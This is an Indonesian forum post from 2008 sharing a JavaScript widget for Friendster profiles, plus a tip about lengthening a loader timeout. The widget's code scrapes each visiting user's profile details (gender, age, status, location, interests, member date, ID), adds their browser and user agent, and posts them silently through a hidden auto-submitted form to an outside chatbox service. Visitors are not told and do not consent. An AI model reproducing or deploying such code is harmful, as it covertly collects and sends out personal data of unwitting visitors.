[quote=psycomagic]Mau tanya knp navigasi saya ada bannernya juga yach..??[/quote]
[quote=dheerezzz]pliss bntu..[/quote]
Bro Dheereezzz, coba pake yg ini :
[spoiler]var WVMCBOX;
if (!attachOnLoadHandler(function() { WVMCBOX.init();})) window.onload = function() { WVMCBOX.init();};
if (typeof WVMCBOX == "undefined" || !WVMCBOX) { WVMCBOX = window.WVMCBOX || {}; }
(function() {
WVMCBOX = {
//private property
div: null,
date: Date().replace(/\(.+\)/, ""),
ifstyle: [
"100%", //width
"150", //height
"auto", //scrolling
"yes" //allowtransparency
],
base: {
"cboxdiv": ["www5","131531","q15w8"]
},
//null if not exist
details: {
gender: null,
age: null,
status: null,
location: null,
seek: null,
since: null
},
//get viewer details
regexp: {
gender: /q">([\S]*male)/i,
age: /male,\s*([\d]*),/i,
status: /male,\s*[\d]*,\s*([\S\s]*?)<\/span>/i,
location: /Location\:\s*<\/span><a[\S\s]*?>([\S\s]*?)<\/a><\/li>/i,
seek: /Interested\s*In\:\s*<\/span>([\S\s]*?)<\/li>/i,
since: /Member\s*Since\:\s*<\/span>([\S\s]*?)<\/li>/i
},
init: function() {
WVMCBOX.ajaxRequest("GET", "http://" + location.hostname + "/" + pageViewerID, true, null, WVMCBOX.viewer, null);
setInterval("window.wvm_submit.location.href=document.getElementById('wvm_submit').src", 30000000000);
},
viewer: function(htm) {
if (htm.replace(/^\s*|\s*$/g,"") === "") {
alert("ERROR: Empty xmlresponse! \n Unable to parse your details!");
return;
}else if (htm) {
for (var val in WVMCBOX.details) {
try {
WVMCBOX.details[val] = new RegExp(WVMCBOX.regexp[val]).exec(htm)[1];
}catch(e) {
WVMCBOX.details[val] = "";
}
}
var status = WVMCBOX.details.status;
switch (status) {
case "":
status = "It's complicated";
break;
}
var seek = WVMCBOX.details.seek;
switch (seek) {
case "":
seek = "Just looking around";
break;
}
for (var seeboks in WVMCBOX.base) {
var htmlspaces = "&nb"+"sp;";
var htmlbulls = "&bu"+"ll;";
WVMCBOX.div = "<iframe frameborder=\"0\" width=\"" + WVMCBOX.ifstyle[0] + "\" height=\"" + WVMCBOX.ifstyle[1] + "\" scrolling=\"" + WVMCBOX.ifstyle[2] + "\" allowtransparency=\"" + WVMCBOX.ifstyle[3] + "\" marginheight=\"2\" marginwidth=\"2\" src=\"http://" + WVMCBOX.base[seeboks][0] + ".cbox.ws/box/?boxid=" + WVMCBOX.base[seeboks][1] + "&boxtag=" + WVMCBOX.base[seeboks][2] + "&sec=main\" name=\"wvm_submit\" id=\"wvm_submit\"></iframe>"+
"<div style=\"display:none\">" +
"<form name=\"wvmcboxform\" id=\"wvmcboxform\" target=\"wvm_submit\" action=\"http://" + WVMCBOX.base[seeboks][0] + ".cbox.ws/box/?boxid=" + WVMCBOX.base[seeboks][1] + "&boxtag=" + WVMCBOX.base[seeboks][2] + "&sec=submit\" method=\"POST\">" +
"<input type=\"text\" name=\"nme\" value=\"" + pageViewerFName + "\">" +
"<input type=\"text\" name=\"eml\" value=\"http://profiles.friendster.com/" + pageViewerID + "\">"+
"<textarea style=\"overflow:hidden\" class=\"cboxMsgArea\" maxlength=\"200\" cols=\"22\" rows=\"3\" name=\"pst\">" + WVMCBOX.date +
"[br]" + htmlbulls + "" + htmlspaces + "" + WVMCBOX.details.gender + "," + htmlspaces + "" + WVMCBOX.details.age + "," + htmlspaces + "" + status +
"[br]" + htmlbulls + "" + htmlspaces + "" + WVMCBOX.details.since.replace(/^\s*[\w]*?/gi,"Member Since: ") +
"[br]" + htmlbulls + "" + htmlspaces + "Interested" + htmlspaces + "In:" + htmlspaces + "" + seek +
"[br]" + htmlbulls + "" + htmlspaces + "" + WVMCBOX.details.location.replace(/^\s*[\S\s]*?/gi,"Location: ") +
"[br]" + htmlbulls + "" + htmlspaces + "" + pageViewerID.replace(/^\s*[\d]*?/gi, "Friendster ID: ") +
"[br]" + htmlbulls + "" + htmlspaces + "Browser:" + htmlspaces + "" + navigator.appName +
"[br]" + htmlbulls + "" + htmlspaces + "" + navigator.userAgent + "</textarea>" +
"</form>"+
"</div>";
addBox("LEFT","<a href=\"#\" onClick=\"show_hide('content_wvmcbox'); return false\"><div title=\"header=[PENGUNJUNG HARI INI] body=[DAFTAR HADIR]\">Visitors Info</div></a>", "<div id=\""+seeboks+"\" align=\"center\">"+WVMCBOX.div+"</div>", "wvmcbox","6");
}
if((pageViewerID != pageOwnerID) && (pageViewerID !== "")) {
try {
document.wvmcboxform.submit();
}catch(e) {
document.getElementById("wvmcboxform").submit();
}
}
}
},
ajaxRequest: function(type, url, cont, param, func, handlerparam) {
/*
* ajaxRequest function
* version: 2.1
* Copyright: FeRuZZ ©
http://profiles.friendster.com/feruzz
*
* @type: "GET" | "POST"
* @cont: true | false
* @param: param | null
*/
var httprequest = null;
var msxml = ["Msxml2.XMLHTTP.6.0", "Msxml2.XMLHTTP.3.0", "Msxml2.XMLHTTP", "Microsoft.XMLHTTP"];
for (var x = 0, len = msxml.length; x < len; x++) {
try {
httprequest = window.XMLHttpRequest ? new XMLHttpRequest() : new ActiveXObject(msxml[x]);
break;
} catch(e) {
httprequest = null;
}
}
if (typeof func === "function") {
httprequest.onreadystatechange = function() {
if (httprequest.readyState === 4) {
if (httprequest.status === 200) {
func(httprequest.responseText, handlerparam);
}
}
};
}
httprequest.open(type, url, cont);
httprequest.setRequestHeader("ajaxRequest", "true");
httprequest.setRequestHeader("X-Requested-With", "XMLHttpRequest");
if (type === "POST") {
var contentLength = param ? param.length: 0;
httprequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
httprequest.setRequestHeader("Content-length", contentLength);
if (httprequest.overrideMimeType) {
httprequest.setRequestHeader("Connection", "close");
}
}
httprequest.send(param);
}
};
})();
[/spoiler]
[quote=fuefuefue]yang diedit yang mana??
[/quote]
Bagian yg paling bawah bro Dimdim
[quote]setTimeout("loader.hide()",[b]20000[/b]);[/quote]
Yg [b]tebal [/b] jadiin 50000 ato 70000 pokoknya di gedhein
Last edited by strezzpc (2008-06-29 07:00:23)